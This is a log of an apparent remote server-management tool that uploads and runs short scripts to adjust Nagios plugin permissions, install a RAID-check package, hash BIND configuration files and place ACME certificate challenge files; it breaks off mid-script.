MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-28 16:26:01: Establishing a connection
2026-02-28 16:26:02: Establishing a connection
2026-02-28 16:26:03: 

PUT: /tmp/pkp295902

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-28 16:26:03: 

chmod 755 /tmp/pkp295902; /tmp/pkp295902; rm /tmp/pkp295902

2026-02-28 16:26:04: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2026-02-28 16:26:04: 

systemctl reload nagios

2026-02-28 16:26:04: 




2026-02-28 16:26:05: 

PUT: /tmp/pkp703193

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-02-28 16:26:05: 

chmod 755 /tmp/pkp703193; /tmp/pkp703193; rm /tmp/pkp703193

2026-02-28 16:26:05: 


ok


2026-02-28 16:26:06: 

PUT: /tmp/pkp555840

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_toner.php'
echo ok


2026-02-28 16:26:06: 

chmod 755 /tmp/pkp555840; /tmp/pkp555840; rm /tmp/pkp555840

2026-02-28 16:26:06: 


ok


2026-02-28 16:26:07: 

PUT: /tmp/pkp280315

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2026-02-28 16:26:07: 

chmod 755 /tmp/pkp280315; /tmp/pkp280315; rm /tmp/pkp280315

2026-02-28 16:26:07: 


ok


2026-02-28 16:26:07: 

PUT: /tmp/pkp837106

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_website'
echo ok


2026-02-28 16:26:08: 

chmod 755 /tmp/pkp837106; /tmp/pkp837106; rm /tmp/pkp837106

2026-02-28 16:26:08: 


ok


2026-02-28 16:26:08: 

PUT: /tmp/pkp283614

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2026-02-28 16:26:09: 

chmod 755 /tmp/pkp283614; /tmp/pkp283614; rm /tmp/pkp283614

2026-02-28 16:26:09: 


ok


2026-02-28 16:26:10: 

PUT: /tmp/pkp581069

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-02-28 16:26:10: 

chmod 755 /tmp/pkp581069; /tmp/pkp581069; rm /tmp/pkp581069

2026-02-28 16:26:10: 


ok


2026-02-28 16:26:11: 

PUT: /tmp/pkp790378

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_sensors.php'
echo ok


2026-02-28 16:26:11: 

chmod 755 /tmp/pkp790378; /tmp/pkp790378; rm /tmp/pkp790378

2026-02-28 16:26:11: 


ok


2026-02-28 16:26:12: 

PUT: /tmp/pkp693934

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-02-28 16:26:12: 

chmod 755 /tmp/pkp693934; /tmp/pkp693934; rm /tmp/pkp693934

2026-02-28 16:26:12: 


ok


2026-02-28 16:26:13: 

PUT: /tmp/pkp238109

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok


2026-02-28 16:26:13: 

chmod 755 /tmp/pkp238109; /tmp/pkp238109; rm /tmp/pkp238109

2026-02-28 16:26:13: 


ok


2026-02-28 16:26:14: 

PUT: /tmp/pkp650255

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-02-28 16:26:14: 

chmod 755 /tmp/pkp650255; /tmp/pkp650255; rm /tmp/pkp650255

2026-02-28 16:26:14: 


ok


2026-02-28 16:26:15: 

PUT: /tmp/pkp505376

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2026-02-28 16:26:15: 

chmod 755 /tmp/pkp505376; /tmp/pkp505376; rm /tmp/pkp505376

2026-02-28 16:26:15: 


ok


2026-02-28 16:26:16: 

PUT: /tmp/pkp318374

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-02-28 16:26:16: 

chmod 755 /tmp/pkp318374; /tmp/pkp318374; rm /tmp/pkp318374

2026-02-28 16:26:16: 


ok


2026-02-28 16:26:17: 

PUT: /tmp/pkp518219

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_encoder.php'
echo ok


2026-02-28 16:26:17: 

chmod 755 /tmp/pkp518219; /tmp/pkp518219; rm /tmp/pkp518219

2026-02-28 16:26:18: 


ok


2026-02-28 16:26:18: 

PUT: /tmp/pkp294578

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2026-02-28 16:26:18: 

chmod 755 /tmp/pkp294578; /tmp/pkp294578; rm /tmp/pkp294578

2026-02-28 16:26:18: 


ok


2026-02-28 16:26:21: 

PUT: /tmp/pkp690529

#!/bin/bash
dpkg -i '/usr/local/nagios/libexec/nagios-plugin-check-raid_4.0.9-1_all.deb'
ln -s /usr/lib/nagios/plugins/check_raid /usr/local/nagios/libexec/check_raid


2026-02-28 16:26:22: 

chmod 755 /tmp/pkp690529; /tmp/pkp690529; rm /tmp/pkp690529

2026-02-28 16:26:22: 


(Reading database ... 185001 files and directories currently installed.)
Preparing to unpack .../nagios-plugin-check-raid_4.0.9-1_all.deb ...
Unpacking nagios-plugin-check-raid (4.0.9-1) over (4.0.9-1) ...
Setting up nagios-plugin-check-raid (4.0.9-1) ...
ln: failed to create symbolic link '/usr/local/nagios/libexec/check_raid': File exists




STDERR:
ln: failed to create symbolic link '/usr/local/nagios/libexec/check_raid': File exists


2026-03-02 00:24:15: Establishing a connection
2026-03-02 00:24:23: Establishing a connection
2026-03-02 00:24:23: 

PUT: /tmp/pkp656926

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-02 00:24:24: 

runuser -l bind -s /bin/bash -c '/tmp/pkp656926; rm /tmp/pkp656926'

2026-03-02 00:24:24: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-02 06:00:02: Establishing a connection
2026-03-02 06:00:04: Establishing a connection
2026-03-02 06:00:05: 

PUT: /tmp/pkp738720

#!/bin/bash
if [ -d "/var/www/zoomchat_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-02 06:00:06: 

chmod 755 /tmp/pkp738720; /tmp/pkp738720; rm /tmp/pkp738720

2026-03-02 06:00:06: 


1


2026-03-02 06:00:08: Establishing a connection
2026-03-02 06:00:09: 

PUT: /tmp/pkp575385

#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
cat > gf7PDjjSq6JEjS7W1pwHaRn8f4fza_MXdzvBmcuVyls <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
gf7PDjjSq6JEjS7W1pwHaRn8f4fza_MXdzvBmcuVyls.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 gf7PDjjSq6JEjS7W1pwHaRn8f4fza_MXdzvBmcuVyls
cat > YpiKmCX5jLQpyyPb-UZ-eczor5CpRrwf9YRGIp9Q5Pk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
YpiKmCX5jLQpyyPb-UZ-eczor5CpRrwf9YRGIp9Q5Pk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 YpiKmCX5jLQpyyPb-UZ-eczor5CpRrwf9YRGIp9Q5Pk


2026-03-02 06:00:10: 

chmod 755 /tmp/pkp575385; /tmp/pkp575385; rm /tmp/pkp575385

2026-03-02 06:00:11: 




2026-03-02 06:00:16: Establishing a connection
2026-03-02 06:00:18: 

PUT: /tmp/pkp485894

#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
rm gf7PDjjSq6JEjS7W1pwHaRn8f4fza_MXdzvBmcuVyls
